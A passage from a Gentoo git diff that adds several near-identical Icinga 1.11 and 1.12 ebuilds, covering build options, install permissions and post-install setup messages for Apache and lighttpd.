+ if use eventhandler ; then
+ dodir /etc/icinga/eventhandlers || die
+ fowners icinga:icinga /etc/icinga/eventhandlers || die
+ fi
+
+ keepdir /etc/icinga
+ keepdir /var/lib/icinga
+ keepdir /var/lib/icinga/archives
+ keepdir /var/lib/icinga/rw
+ keepdir /var/lib/icinga/spool/checkresults
+
+ if use apache2 ; then
+ webserver=apache
+ elif use lighttpd ; then
+ webserver=lighttpd
+ else
+ webserver=icinga
+ fi
+
+ fowners icinga:icinga /var/lib/icinga || die "Failed chown of /var/lib/icinga"
+ fowners -R icinga:${webserver} /var/lib/icinga/rw || die "Failed chown of /var/lib/icinga/rw"
+
+ fperms 6755 /var/lib/icinga/rw || die "Failed Chmod of ${D}/var/lib/icinga/rw"
+ fperms 0750 /etc/icinga || die "Failed chmod of ${D}/etc/icinga"
+}
+
+pkg_postinst() {
+ if use web ; then
+ elog "This does not include cgis that are perl-dependent"
+ elog "Currently traceroute.cgi is perl-dependent"
+ elog "Note that the user your webserver is running as needs"
+ elog "read-access to /etc/icinga."
+ elog
+ if use apache2 || use lighttpd ; then
+ elog "There are several possible solutions to accomplish this,"
+ elog "choose the one you are most comfortable with:"
+ elog
+ if use apache2 ; then
+ elog " usermod -G icinga apache"
+ elog "or"
+ elog " chown icinga:apache /etc/icinga"
+ elog
+ elog "Also edit /etc/conf.d/apache2 and add a line like"
+ elog "APACHE2_OPTS=\"\$APACHE2_OPTS -D ICINGA\""
+ elog
+ elog "Icinga web service needs user authentication. If you"
+ elog "use the base configuration, you need a password file"
+ elog "with a password for user \"icingaadmin\""
+ elog "You can create this file by executing:"
+ elog "htpasswd -c /etc/icinga/htpasswd.users icingaadmin"
+ elog
+ elog "you may want to also add apache to the icinga group"
+ elog "to allow it access to the AuthUserFile"
+ elog
+ elif use lighttpd ; then
+ elog " usermod -G icinga lighttpd "
+ elog "or"
+ elog " chown icinga:lighttpd /etc/icinga"
+ elog "Also edit /etc/lighttpd/lighttpd.conf and add 'include \"lighttpd_icinga.conf\"'"
+ fi
+ elog
+ elog "That will make icinga's web front end visable via"
+ elog "http://localhost/icinga/"
+ elog
+ else
+ elog "IMPORTANT: Do not forget to add the user your webserver"
+ elog "is running as to the icinga group!"
+ fi
+ else
+ ewarn "Please note that you have installed Icinga without web interface."
+ ewarn "Please don't file any bugs about having no web interface when you do this."
+ ewarn "Thank you!"
+ fi
+ elog
+ elog "If you want icinga to start at boot time"
+ elog "remember to execute:"
+ elog " rc-update add icinga default"
+ elog
+ elog "If your kernel has /proc protection, icinga"
+ elog "will not be happy as it relies on accessing the proc"
+ elog "filesystem. You can fix this by adding icinga into"
+ elog "the group wheel, but this is not recomended."
+ elog
+ if [ -d "${ROOT}"/var/icinga ] ; then
+ ewarn
+ ewarn "/var/icinga was moved to /var/lib/icinga"
+ ewarn "please move the files if this was an upgrade"
+ if use idoutils ; then
+ ewarn "and edit /etc/ido2db.cfg to change the location of the files"
+ ewarn "it accesses"
+ ewarn "update your db with the scripts under the directory"
+ ewarn "/usr/share/icinga/contrib/db/"
+ fi
+ ewarn
+ ewarn "The \"mv /var/icinga /var/lib/\" command works well to move the files"
+ ewarn "remove /var/icinga afterwards to make this warning disappear"
+ fi
+}
diff --git a/net-analyzer/icinga/icinga-1.11.1.ebuild b/net-analyzer/icinga/icinga-1.11.1.ebuild
new file mode 100644
index 000000000000..bcee5701adec
--- /dev/null
+++ b/net-analyzer/icinga/icinga-1.11.1.ebuild
@@ -0,0 +1,259 @@
+# Copyright 1999-2014 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Id$
+
+EAPI=5
+
+inherit depend.apache eutils multilib toolchain-funcs user versionator
+
+DESCRIPTION="Nagios Fork - Check daemon, CGIs, docs, IDOutils"
+HOMEPAGE="http://www.icinga.org/"
+#MY_PV=$(delete_version_separator 3)
+#SRC_URI="mirror://sourceforge/${PN}/${PN}-${MY_PV}.tar.gz"
+#S=${WORKDIR}/${PN}-${MY_PV}
+#SRC_URI="mirror://sourceforge/${PN}/${P}.tar.gz"
+SRC_URI="https://github.com/${PN}/${PN}-core/releases/download/v${PV}/${P}.tar.gz"
+
+LICENSE="GPL-2"
+SLOT="0"
+KEYWORDS="~amd64 ~hppa ~x86"
+IUSE="+apache2 contrib eventhandler +idoutils lighttpd +mysql perl +plugins postgres ssl +vim-syntax +web"
+DEPEND="idoutils? ( dev-db/libdbi-drivers[mysql?,postgres?] )
+ perl? ( dev-lang/perl )
+ virtual/mailx
+ web? (
+ media-libs/gd[jpeg,png]
+ lighttpd? ( www-servers/lighttpd )
+ )
+ !net-analyzer/nagios-core"
+RDEPEND="${DEPEND}
+ plugins? ( net-analyzer/nagios-plugins )"
+RESTRICT="test"
+
+want_apache2
+
+pkg_setup() {
+ depend.apache_pkg_setup
+ enewgroup icinga
+ enewgroup nagios
+ enewuser icinga -1 -1 /var/lib/icinga "icinga,nagios"
+}
+
+src_prepare() {
+ epatch "${FILESDIR}/fix-prestripped-binaries-1.7.0.patch"
+}
+
+src_configure() {
+ local myconf
+
+ myconf="$(use_enable perl embedded-perl)
+ $(use_with perl perlcache)
+ $(use_enable idoutils)
+ $(use_enable ssl)
+ --with-cgiurl=/icinga/cgi-bin
+ --with-log-dir=/var/log/icinga
+ --libdir=/usr/$(get_libdir)
+ --bindir=/usr/sbin
+ --sbindir=/usr/$(get_libdir)/icinga/cgi-bin
+ --datarootdir=/usr/share/icinga/htdocs
+ --localstatedir=/var/lib/icinga
+ --sysconfdir=/etc/icinga
+ --with-lockfile=/var/run/icinga/icinga.lock
+ --with-temp-dir=/tmp/icinga
+ --with-temp-file=/tmp/icinga/icinga.tmp"
+
+ if use idoutils ; then
+ myconf+=" --with-ido2db-lockfile=/var/run/icinga/ido2db.lock
+ --with-icinga-chkfile=/var/lib/icinga/icinga.chk
+ --with-ido-sockfile=/var/lib/icinga/ido.sock
+ --with-idomod-tmpfile=/tmp/icinga/idomod.tmp"
+ fi
+
+ if use eventhandler ; then
+ myconfig+=" --with-eventhandler-dir=/etc/icinga/eventhandlers"
+ fi
+
+ if use plugins ; then
+ myconf+=" --with-plugin-dir=/usr/$(get_libdir)/nagios/plugins"
+ else
+ myconf+=" --with-plugin-dir=/usr/$(get_libdir)/nagios/plugins"
+ fi
+
+ if use !apache2 && use !lighttpd ; then
+ myconf+=" --with-command-group=icinga"
+ else
+ if use apache2 ; then
+ myconf+=" --with-httpd-conf=/etc/apache2/conf.d"
+ myconf+=" --with-command-group=apache"
+ elif use lighttpd ; then
+ myconf+=" --with-command-group=lighttpd"
+ fi
+ fi
+
+ econf ${myconf}
+}
+
+src_compile() {
+ tc-export CC
+
+ emake icinga || die "make failed"
+
+ if use web ; then
+ emake DESTDIR="${D}" cgis || die
+ fi
+
+ if use contrib ; then
+ emake DESTDIR="${D}" -C contrib || die
+ fi
+
+ if use idoutils ; then
+ emake DESTDIR="${D}" idoutils || die
+ fi
+}
+
+src_install() {
+ dodoc Changelog README UPGRADING || die
+
+ if ! use web ; then
+ sed -i -e '/cd $(SRC_\(CGI\|HTM\))/d' Makefile || die
+ fi
+
+ emake DESTDIR="${D}" install{,-config,-commandmode} || die
+
+ if use idoutils ; then
+ emake DESTDIR="${D}" install-idoutils || die
+ fi
+
+ if use contrib ; then
+ emake DESTDIR="${D}" -C contrib install || die
+ fi
+
+ if use eventhandler ; then
+ emake DESTDIR="${D}" install-eventhandlers || die
+ fi
+
+ newinitd "${FILESDIR}"/icinga-init.d icinga || die
+ newconfd "${FILESDIR}"/icinga-conf.d icinga || die
+ if use idoutils ; then
+ newinitd "${FILESDIR}"/ido2db-init.d ido2db || die
+ newconfd "${FILESDIR}"/ido2db-conf.d ido2db || die
+ insinto /usr/share/icinga/contrib/db
+ doins -r module/idoutils/db/* || die
+ fi
+ # Apache Module
+ if use web ; then
+ if use apache2 ; then
+ insinto "${APACHE_MODULES_CONFDIR}"
+ newins "${FILESDIR}"/icinga-apache.conf 99_icinga.conf || die
+ elif use lighttpd ; then
+ insinto /etc/lighttpd
+ newins "${FILESDIR}"/icinga-lighty.conf lighttpd_icinga.conf || die
+ else
+ ewarn "${CATEGORY}/${PF} only supports Apache-2.x or Lighttpd webserver"
+ ewarn "out-of-the-box. Since you are not using one of them, you"
+ ewarn "have to configure your webserver accordingly yourself."
+ fi
+ fowners -R root:root /usr/$(get_libdir)/icinga || die
+ cd "${D}" || die
+ find usr/$(get_libdir)/icinga -type d -exec fperms 755 {} +
+ find usr/$(get_libdir)/icinga/cgi-bin -type f -exec fperms 755 {} +
+ fi
+
+ if use eventhandler ; then
+ dodir /etc/icinga/eventhandlers || die
+ fowners icinga:icinga /etc/icinga/eventhandlers || die
+ fi
+
+ keepdir /etc/icinga
+ keepdir /var/lib/icinga
+ keepdir /var/lib/icinga/archives
+ keepdir /var/lib/icinga/rw
+ keepdir /var/lib/icinga/spool/checkresults
+
+ if use apache2 ; then
+ webserver=apache
+ elif use lighttpd ; then
+ webserver=lighttpd
+ else
+ webserver=icinga
+ fi
+
+ fowners icinga:icinga /var/lib/icinga || die "Failed chown of /var/lib/icinga"
+ fowners -R icinga:${webserver} /var/lib/icinga/rw || die "Failed chown of /var/lib/icinga/rw"
+
+ fperms 6755 /var/lib/icinga/rw || die "Failed Chmod of ${D}/var/lib/icinga/rw"
+ fperms 0750 /etc/icinga || die "Failed chmod of ${D}/etc/icinga"
+}
+
+pkg_postinst() {
+ if use web ; then
+ elog "This does not include cgis that are perl-dependent"
+ elog "Currently traceroute.cgi is perl-dependent"
+ elog "Note that the user your webserver is running as needs"
+ elog "read-access to /etc/icinga."
+ elog
+ if use apache2 || use lighttpd ; then
+ elog "There are several possible solutions to accomplish this,"
+ elog "choose the one you are most comfortable with:"
+ elog
+ if use apache2 ; then
+ elog " usermod -G icinga apache"
+ elog "or"
+ elog " chown icinga:apache /etc/icinga"
+ elog
+ elog "Also edit /etc/conf.d/apache2 and add a line like"
+ elog "APACHE2_OPTS=\"\$APACHE2_OPTS -D ICINGA\""
+ elog
+ elog "Icinga web service needs user authentication. If you"
+ elog "use the base configuration, you need a password file"
+ elog "with a password for user \"icingaadmin\""
+ elog "You can create this file by executing:"
+ elog "htpasswd -c /etc/icinga/htpasswd.users icingaadmin"
+ elog
+ elog "you may want to also add apache to the icinga group"
+ elog "to allow it access to the AuthUserFile"
+ elog
+ elif use lighttpd ; then
+ elog " usermod -G icinga lighttpd "
+ elog "or"
+ elog " chown icinga:lighttpd /etc/icinga"
+ elog "Also edit /etc/lighttpd/lighttpd.conf and add 'include \"lighttpd_icinga.conf\"'"
+ fi
+ elog
+ elog "That will make icinga's web front end visable via"
+ elog "http://localhost/icinga/"
+ elog
+ else
+ elog "IMPORTANT: Do not forget to add the user your webserver"
+ elog "is running as to the icinga group!"
+ fi
+ else
+ ewarn "Please note that you have installed Icinga without web interface."
+ ewarn "Please don't file any bugs about having no web interface when you do this."
+ ewarn "Thank you!"
+ fi
+ elog
+ elog "If you want icinga to start at boot time"
+ elog "remember to execute:"
+ elog " rc-update add icinga default"
+ elog
+ elog "If your kernel has /proc protection, icinga"
+ elog "will not be happy as it relies on accessing the proc"
+ elog "filesystem. You can fix this by adding icinga into"
+ elog "the group wheel, but this is not recomended."
+ elog
+ if [ -d "${ROOT}"/var/icinga ] ; then
+ ewarn
+ ewarn "/var/icinga was moved to /var/lib/icinga"
+ ewarn "please move the files if this was an upgrade"
+ if use idoutils ; then
+ ewarn "and edit /etc/ido2db.cfg to change the location of the files"
+ ewarn "it accesses"
+ ewarn "update your db with the scripts under the directory"
+ ewarn "/usr/share/icinga/contrib/db/"
+ fi
+ ewarn
+ ewarn "The \"mv /var/icinga /var/lib/\" command works well to move the files"
+ ewarn "remove /var/icinga afterwards to make this warning disappear"
+ fi
+}
diff --git a/net-analyzer/icinga/icinga-1.11.4.ebuild b/net-analyzer/icinga/icinga-1.11.4.ebuild
new file mode 100644
index 000000000000..bcee5701adec
--- /dev/null
+++ b/net-analyzer/icinga/icinga-1.11.4.ebuild
@@ -0,0 +1,259 @@
+# Copyright 1999-2014 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Id$
+
+EAPI=5
+
+inherit depend.apache eutils multilib toolchain-funcs user versionator
+
+DESCRIPTION="Nagios Fork - Check daemon, CGIs, docs, IDOutils"
+HOMEPAGE="http://www.icinga.org/"
+#MY_PV=$(delete_version_separator 3)
+#SRC_URI="mirror://sourceforge/${PN}/${PN}-${MY_PV}.tar.gz"
+#S=${WORKDIR}/${PN}-${MY_PV}
+#SRC_URI="mirror://sourceforge/${PN}/${P}.tar.gz"
+SRC_URI="https://github.com/${PN}/${PN}-core/releases/download/v${PV}/${P}.tar.gz"
+
+LICENSE="GPL-2"
+SLOT="0"
+KEYWORDS="~amd64 ~hppa ~x86"
+IUSE="+apache2 contrib eventhandler +idoutils lighttpd +mysql perl +plugins postgres ssl +vim-syntax +web"
+DEPEND="idoutils? ( dev-db/libdbi-drivers[mysql?,postgres?] )
+ perl? ( dev-lang/perl )
+ virtual/mailx
+ web? (
+ media-libs/gd[jpeg,png]
+ lighttpd? ( www-servers/lighttpd )
+ )
+ !net-analyzer/nagios-core"
+RDEPEND="${DEPEND}
+ plugins? ( net-analyzer/nagios-plugins )"
+RESTRICT="test"
+
+want_apache2
+
+pkg_setup() {
+ depend.apache_pkg_setup
+ enewgroup icinga
+ enewgroup nagios
+ enewuser icinga -1 -1 /var/lib/icinga "icinga,nagios"
+}
+
+src_prepare() {
+ epatch "${FILESDIR}/fix-prestripped-binaries-1.7.0.patch"
+}
+
+src_configure() {
+ local myconf
+
+ myconf="$(use_enable perl embedded-perl)
+ $(use_with perl perlcache)
+ $(use_enable idoutils)
+ $(use_enable ssl)
+ --with-cgiurl=/icinga/cgi-bin
+ --with-log-dir=/var/log/icinga
+ --libdir=/usr/$(get_libdir)
+ --bindir=/usr/sbin
+ --sbindir=/usr/$(get_libdir)/icinga/cgi-bin
+ --datarootdir=/usr/share/icinga/htdocs
+ --localstatedir=/var/lib/icinga
+ --sysconfdir=/etc/icinga
+ --with-lockfile=/var/run/icinga/icinga.lock
+ --with-temp-dir=/tmp/icinga
+ --with-temp-file=/tmp/icinga/icinga.tmp"
+
+ if use idoutils ; then
+ myconf+=" --with-ido2db-lockfile=/var/run/icinga/ido2db.lock
+ --with-icinga-chkfile=/var/lib/icinga/icinga.chk
+ --with-ido-sockfile=/var/lib/icinga/ido.sock
+ --with-idomod-tmpfile=/tmp/icinga/idomod.tmp"
+ fi
+
+ if use eventhandler ; then
+ myconfig+=" --with-eventhandler-dir=/etc/icinga/eventhandlers"
+ fi
+
+ if use plugins ; then
+ myconf+=" --with-plugin-dir=/usr/$(get_libdir)/nagios/plugins"
+ else
+ myconf+=" --with-plugin-dir=/usr/$(get_libdir)/nagios/plugins"
+ fi
+
+ if use !apache2 && use !lighttpd ; then
+ myconf+=" --with-command-group=icinga"
+ else
+ if use apache2 ; then
+ myconf+=" --with-httpd-conf=/etc/apache2/conf.d"
+ myconf+=" --with-command-group=apache"
+ elif use lighttpd ; then
+ myconf+=" --with-command-group=lighttpd"
+ fi
+ fi
+
+ econf ${myconf}
+}
+
+src_compile() {
+ tc-export CC
+
+ emake icinga || die "make failed"
+
+ if use web ; then
+ emake DESTDIR="${D}" cgis || die
+ fi
+
+ if use contrib ; then
+ emake DESTDIR="${D}" -C contrib || die
+ fi
+
+ if use idoutils ; then
+ emake DESTDIR="${D}" idoutils || die
+ fi
+}
+
+src_install() {
+ dodoc Changelog README UPGRADING || die
+
+ if ! use web ; then
+ sed -i -e '/cd $(SRC_\(CGI\|HTM\))/d' Makefile || die
+ fi
+
+ emake DESTDIR="${D}" install{,-config,-commandmode} || die
+
+ if use idoutils ; then
+ emake DESTDIR="${D}" install-idoutils || die
+ fi
+
+ if use contrib ; then
+ emake DESTDIR="${D}" -C contrib install || die
+ fi
+
+ if use eventhandler ; then
+ emake DESTDIR="${D}" install-eventhandlers || die
+ fi
+
+ newinitd "${FILESDIR}"/icinga-init.d icinga || die
+ newconfd "${FILESDIR}"/icinga-conf.d icinga || die
+ if use idoutils ; then
+ newinitd "${FILESDIR}"/ido2db-init.d ido2db || die
+ newconfd "${FILESDIR}"/ido2db-conf.d ido2db || die
+ insinto /usr/share/icinga/contrib/db
+ doins -r module/idoutils/db/* || die
+ fi
+ # Apache Module
+ if use web ; then
+ if use apache2 ; then
+ insinto "${APACHE_MODULES_CONFDIR}"
+ newins "${FILESDIR}"/icinga-apache.conf 99_icinga.conf || die
+ elif use lighttpd ; then
+ insinto /etc/lighttpd
+ newins "${FILESDIR}"/icinga-lighty.conf lighttpd_icinga.conf || die
+ else
+ ewarn "${CATEGORY}/${PF} only supports Apache-2.x or Lighttpd webserver"
+ ewarn "out-of-the-box. Since you are not using one of them, you"
+ ewarn "have to configure your webserver accordingly yourself."
+ fi
+ fowners -R root:root /usr/$(get_libdir)/icinga || die
+ cd "${D}" || die
+ find usr/$(get_libdir)/icinga -type d -exec fperms 755 {} +
+ find usr/$(get_libdir)/icinga/cgi-bin -type f -exec fperms 755 {} +
+ fi
+
+ if use eventhandler ; then
+ dodir /etc/icinga/eventhandlers || die
+ fowners icinga:icinga /etc/icinga/eventhandlers || die
+ fi
+
+ keepdir /etc/icinga
+ keepdir /var/lib/icinga
+ keepdir /var/lib/icinga/archives
+ keepdir /var/lib/icinga/rw
+ keepdir /var/lib/icinga/spool/checkresults
+
+ if use apache2 ; then
+ webserver=apache
+ elif use lighttpd ; then
+ webserver=lighttpd
+ else
+ webserver=icinga
+ fi
+
+ fowners icinga:icinga /var/lib/icinga || die "Failed chown of /var/lib/icinga"
+ fowners -R icinga:${webserver} /var/lib/icinga/rw || die "Failed chown of /var/lib/icinga/rw"
+
+ fperms 6755 /var/lib/icinga/rw || die "Failed Chmod of ${D}/var/lib/icinga/rw"
+ fperms 0750 /etc/icinga || die "Failed chmod of ${D}/etc/icinga"
+}
+
+pkg_postinst() {
+ if use web ; then
+ elog "This does not include cgis that are perl-dependent"
+ elog "Currently traceroute.cgi is perl-dependent"
+ elog "Note that the user your webserver is running as needs"
+ elog "read-access to /etc/icinga."
+ elog
+ if use apache2 || use lighttpd ; then
+ elog "There are several possible solutions to accomplish this,"
+ elog "choose the one you are most comfortable with:"
+ elog
+ if use apache2 ; then
+ elog " usermod -G icinga apache"
+ elog "or"
+ elog " chown icinga:apache /etc/icinga"
+ elog
+ elog "Also edit /etc/conf.d/apache2 and add a line like"
+ elog "APACHE2_OPTS=\"\$APACHE2_OPTS -D ICINGA\""
+ elog
+ elog "Icinga web service needs user authentication. If you"
+ elog "use the base configuration, you need a password file"
+ elog "with a password for user \"icingaadmin\""
+ elog "You can create this file by executing:"
+ elog "htpasswd -c /etc/icinga/htpasswd.users icingaadmin"
+ elog
+ elog "you may want to also add apache to the icinga group"
+ elog "to allow it access to the AuthUserFile"
+ elog
+ elif use lighttpd ; then
+ elog " usermod -G icinga lighttpd "
+ elog "or"
+ elog " chown icinga:lighttpd /etc/icinga"
+ elog "Also edit /etc/lighttpd/lighttpd.conf and add 'include \"lighttpd_icinga.conf\"'"
+ fi
+ elog
+ elog "That will make icinga's web front end visable via"
+ elog "http://localhost/icinga/"
+ elog
+ else
+ elog "IMPORTANT: Do not forget to add the user your webserver"
+ elog "is running as to the icinga group!"
+ fi
+ else
+ ewarn "Please note that you have installed Icinga without web interface."
+ ewarn "Please don't file any bugs about having no web interface when you do this."
+ ewarn "Thank you!"
+ fi
+ elog
+ elog "If you want icinga to start at boot time"
+ elog "remember to execute:"
+ elog " rc-update add icinga default"
+ elog
+ elog "If your kernel has /proc protection, icinga"
+ elog "will not be happy as it relies on accessing the proc"
+ elog "filesystem. You can fix this by adding icinga into"
+ elog "the group wheel, but this is not recomended."
+ elog
+ if [ -d "${ROOT}"/var/icinga ] ; then
+ ewarn
+ ewarn "/var/icinga was moved to /var/lib/icinga"
+ ewarn "please move the files if this was an upgrade"
+ if use idoutils ; then
+ ewarn "and edit /etc/ido2db.cfg to change the location of the files"
+ ewarn "it accesses"
+ ewarn "update your db with the scripts under the directory"
+ ewarn "/usr/share/icinga/contrib/db/"
+ fi
+ ewarn
+ ewarn "The \"mv /var/icinga /var/lib/\" command works well to move the files"
+ ewarn "remove /var/icinga afterwards to make this warning disappear"
+ fi
+}
diff --git a/net-analyzer/icinga/icinga-1.11.7.ebuild b/net-analyzer/icinga/icinga-1.11.7.ebuild
new file mode 100644
index 000000000000..f8de77a722f1
--- /dev/null
+++ b/net-analyzer/icinga/icinga-1.11.7.ebuild
@@ -0,0 +1,264 @@
+# Copyright 1999-2014 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Id$
+
+EAPI=5
+
+inherit depend.apache eutils multilib pax-utils toolchain-funcs user versionator
+
+DESCRIPTION="Nagios Fork - Check daemon, CGIs, docs, IDOutils"
+HOMEPAGE="http://www.icinga.org/"
+#MY_PV=$(delete_version_separator 3)
+#SRC_URI="mirror://sourceforge/${PN}/${PN}-${MY_PV}.tar.gz"
+#S=${WORKDIR}/${PN}-${MY_PV}
+#SRC_URI="mirror://sourceforge/${PN}/${P}.tar.gz"
+SRC_URI="https://github.com/${PN}/${PN}-core/releases/download/v${PV}/${P}.tar.gz"
+
+LICENSE="GPL-2"
+SLOT="0"
+KEYWORDS="~amd64 ~hppa ~x86"
+IUSE="+apache2 contrib eventhandler +idoutils lighttpd +mysql perl +plugins postgres ssl +vim-syntax +web"
+DEPEND="idoutils? ( dev-db/libdbi-drivers[mysql?,postgres?] )
+ perl? ( dev-lang/perl )
+ virtual/mailx
+ web? (
+ media-libs/gd[jpeg,png]
+ lighttpd? ( www-servers/lighttpd )
+ )
+ !net-analyzer/nagios-core"
+RDEPEND="${DEPEND}
+ plugins? ( net-analyzer/nagios-plugins )"
+RESTRICT="test"
+
+want_apache2
+
+pkg_setup() {
+ depend.apache_pkg_setup
+ enewgroup icinga
+ enewgroup nagios
+ enewuser icinga -1 -1 /var/lib/icinga "icinga,nagios"
+}
+
+src_prepare() {
+ epatch "${FILESDIR}/fix-prestripped-binaries-1.7.0.patch"
+}
+
+src_configure() {
+ local myconf
+
+ myconf="$(use_enable perl embedded-perl)
+ $(use_with perl perlcache)
+ $(use_enable idoutils)
+ $(use_enable ssl)
+ --with-cgiurl=/icinga/cgi-bin
+ --with-log-dir=/var/log/icinga
+ --libdir=/usr/$(get_libdir)
+ --bindir=/usr/sbin
+ --sbindir=/usr/$(get_libdir)/icinga/cgi-bin
+ --datarootdir=/usr/share/icinga/htdocs
+ --localstatedir=/var/lib/icinga
+ --sysconfdir=/etc/icinga
+ --with-lockfile=/var/run/icinga/icinga.lock
+ --with-temp-dir=/tmp/icinga
+ --with-temp-file=/tmp/icinga/icinga.tmp"
+
+ if use idoutils ; then
+ myconf+=" --with-ido2db-lockfile=/var/run/icinga/ido2db.lock
+ --with-icinga-chkfile=/var/lib/icinga/icinga.chk
+ --with-ido-sockfile=/var/lib/icinga/ido.sock
+ --with-idomod-tmpfile=/tmp/icinga/idomod.tmp"
+ fi
+
+ if use eventhandler ; then
+ myconfig+=" --with-eventhandler-dir=/etc/icinga/eventhandlers"
+ fi
+
+ if use plugins ; then
+ myconf+=" --with-plugin-dir=/usr/$(get_libdir)/nagios/plugins"
+ else
+ myconf+=" --with-plugin-dir=/usr/$(get_libdir)/nagios/plugins"
+ fi
+
+ if use !apache2 && use !lighttpd ; then
+ myconf+=" --with-command-group=icinga"
+ else
+ if use apache2 ; then
+ myconf+=" --with-httpd-conf=/etc/apache2/conf.d"
+ myconf+=" --with-command-group=apache"
+ elif use lighttpd ; then
+ myconf+=" --with-command-group=lighttpd"
+ fi
+ fi
+
+ econf ${myconf}
+}
+
+src_compile() {
+ tc-export CC
+
+ emake icinga || die "make failed"
+
+ if use web ; then
+ emake DESTDIR="${D}" cgis || die
+ fi
+
+ if use contrib ; then
+ emake DESTDIR="${D}" -C contrib || die
+ fi
+
+ if use idoutils ; then
+ emake DESTDIR="${D}" idoutils || die
+ fi
+}
+
+src_install() {
+ dodoc Changelog README UPGRADING || die
+
+ if ! use web ; then
+ sed -i -e '/cd $(SRC_\(CGI\|HTM\))/d' Makefile || die
+ fi
+
+ emake DESTDIR="${D}" install{,-config,-commandmode} || die
+
+ if use idoutils ; then
+ emake DESTDIR="${D}" install-idoutils || die
+ fi
+
+ if use contrib ; then
+ emake DESTDIR="${D}" -C contrib install || die
+ fi
+
+ if use eventhandler ; then
+ emake DESTDIR="${D}" install-eventhandlers || die
+ fi
+
+ newinitd "${FILESDIR}"/icinga-init.d icinga || die
+ newconfd "${FILESDIR}"/icinga-conf.d icinga || die
+ if use idoutils ; then
+ newinitd "${FILESDIR}"/ido2db-init.d ido2db || die
+ newconfd "${FILESDIR}"/ido2db-conf.d ido2db || die
+ insinto /usr/share/icinga/contrib/db
+ doins -r module/idoutils/db/* || die
+ fi
+ # Apache Module
+ if use web ; then
+ if use apache2 ; then
+ insinto "${APACHE_MODULES_CONFDIR}"
+ newins "${FILESDIR}"/icinga-apache.conf 99_icinga.conf || die
+ elif use lighttpd ; then
+ insinto /etc/lighttpd
+ newins "${FILESDIR}"/icinga-lighty.conf lighttpd_icinga.conf || die
+ else
+ ewarn "${CATEGORY}/${PF} only supports Apache-2.x or Lighttpd webserver"
+ ewarn "out-of-the-box. Since you are not using one of them, you"
+ ewarn "have to configure your webserver accordingly yourself."
+ fi
+ fowners -R root:root /usr/$(get_libdir)/icinga || die
+ cd "${D}" || die
+ find usr/$(get_libdir)/icinga -type d -exec fperms 755 {} +
+ find usr/$(get_libdir)/icinga/cgi-bin -type f -exec fperms 755 {} +
+ fi
+
+ if use eventhandler ; then
+ dodir /etc/icinga/eventhandlers || die
+ fowners icinga:icinga /etc/icinga/eventhandlers || die
+ fi
+
+ keepdir /etc/icinga
+ keepdir /var/lib/icinga
+ keepdir /var/lib/icinga/archives
+ keepdir /var/lib/icinga/rw
+ keepdir /var/lib/icinga/spool/checkresults
+
+ if use apache2 ; then
+ webserver=apache
+ elif use lighttpd ; then
+ webserver=lighttpd
+ else
+ webserver=icinga
+ fi
+
+ fowners icinga:icinga /var/lib/icinga || die "Failed chown of /var/lib/icinga"
+ fowners -R icinga:${webserver} /var/lib/icinga/rw || die "Failed chown of /var/lib/icinga/rw"
+
+ fperms 6755 /var/lib/icinga/rw || die "Failed Chmod of ${D}/var/lib/icinga/rw"
+ fperms 0750 /etc/icinga || die "Failed chmod of ${D}/etc/icinga"
+
+ # paxmarks
+ if use idoutils ; then
+ pax-mark m usr/sbin/ido2db
+ fi
+}
+
+pkg_postinst() {
+ if use web ; then
+ elog "This does not include cgis that are perl-dependent"
+ elog "Currently traceroute.cgi is perl-dependent"
+ elog "Note that the user your webserver is running as needs"
+ elog "read-access to /etc/icinga."
+ elog
+ if use apache2 || use lighttpd ; then
+ elog "There are several possible solutions to accomplish this,"
+ elog "choose the one you are most comfortable with:"
+ elog
+ if use apache2 ; then
+ elog " usermod -G icinga apache"
+ elog "or"
+ elog " chown icinga:apache /etc/icinga"
+ elog
+ elog "Also edit /etc/conf.d/apache2 and add a line like"
+ elog "APACHE2_OPTS=\"\$APACHE2_OPTS -D ICINGA\""
+ elog
+ elog "Icinga web service needs user authentication. If you"
+ elog "use the base configuration, you need a password file"
+ elog "with a password for user \"icingaadmin\""
+ elog "You can create this file by executing:"
+ elog "htpasswd -c /etc/icinga/htpasswd.users icingaadmin"
+ elog
+ elog "you may want to also add apache to the icinga group"
+ elog "to allow it access to the AuthUserFile"
+ elog
+ elif use lighttpd ; then
+ elog " usermod -G icinga lighttpd "
+ elog "or"
+ elog " chown icinga:lighttpd /etc/icinga"
+ elog "Also edit /etc/lighttpd/lighttpd.conf and add 'include \"lighttpd_icinga.conf\"'"
+ fi
+ elog
+ elog "That will make icinga's web front end visable via"
+ elog "http://localhost/icinga/"
+ elog
+ else
+ elog "IMPORTANT: Do not forget to add the user your webserver"
+ elog "is running as to the icinga group!"
+ fi
+ else
+ ewarn "Please note that you have installed Icinga without web interface."
+ ewarn "Please don't file any bugs about having no web interface when you do this."
+ ewarn "Thank you!"
+ fi
+ elog
+ elog "If you want icinga to start at boot time"
+ elog "remember to execute:"
+ elog " rc-update add icinga default"
+ elog
+ elog "If your kernel has /proc protection, icinga"
+ elog "will not be happy as it relies on accessing the proc"
+ elog "filesystem. You can fix this by adding icinga into"
+ elog "the group wheel, but this is not recomended."
+ elog
+ if [ -d "${ROOT}"/var/icinga ] ; then
+ ewarn
+ ewarn "/var/icinga was moved to /var/lib/icinga"
+ ewarn "please move the files if this was an upgrade"
+ if use idoutils ; then
+ ewarn "and edit /etc/ido2db.cfg to change the location of the files"
+ ewarn "it accesses"
+ ewarn "update your db with the scripts under the directory"
+ ewarn "/usr/share/icinga/contrib/db/"
+ fi
+ ewarn
+ ewarn "The \"mv /var/icinga /var/lib/\" command works well to move the files"
+ ewarn "remove /var/icinga afterwards to make this warning disappear"
+ fi
+}
diff --git a/net-analyzer/icinga/icinga-1.12.0.ebuild b/net-analyzer/icinga/icinga-1.12.0.ebuild
new file mode 100644
index 000000000000..f8de77a722f1
--- /dev/null
+++ b/net-analyzer/icinga/icinga-1.12.0.ebuild
@@ -0,0 +1,264 @@
+# Copyright 1999-2014 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Id$
+
+EAPI=5
+
+inherit depend.apache eutils multilib pax-utils toolchain-funcs user versionator
+
+DESCRIPTION="Nagios Fork - Check daemon, CGIs, docs, IDOutils"
+HOMEPAGE="http://www.icinga.org/"
+#MY_PV=$(delete_version_separator 3)
+#SRC_URI="mirror://sourceforge/${PN}/${PN}-${MY_PV}.tar.gz"
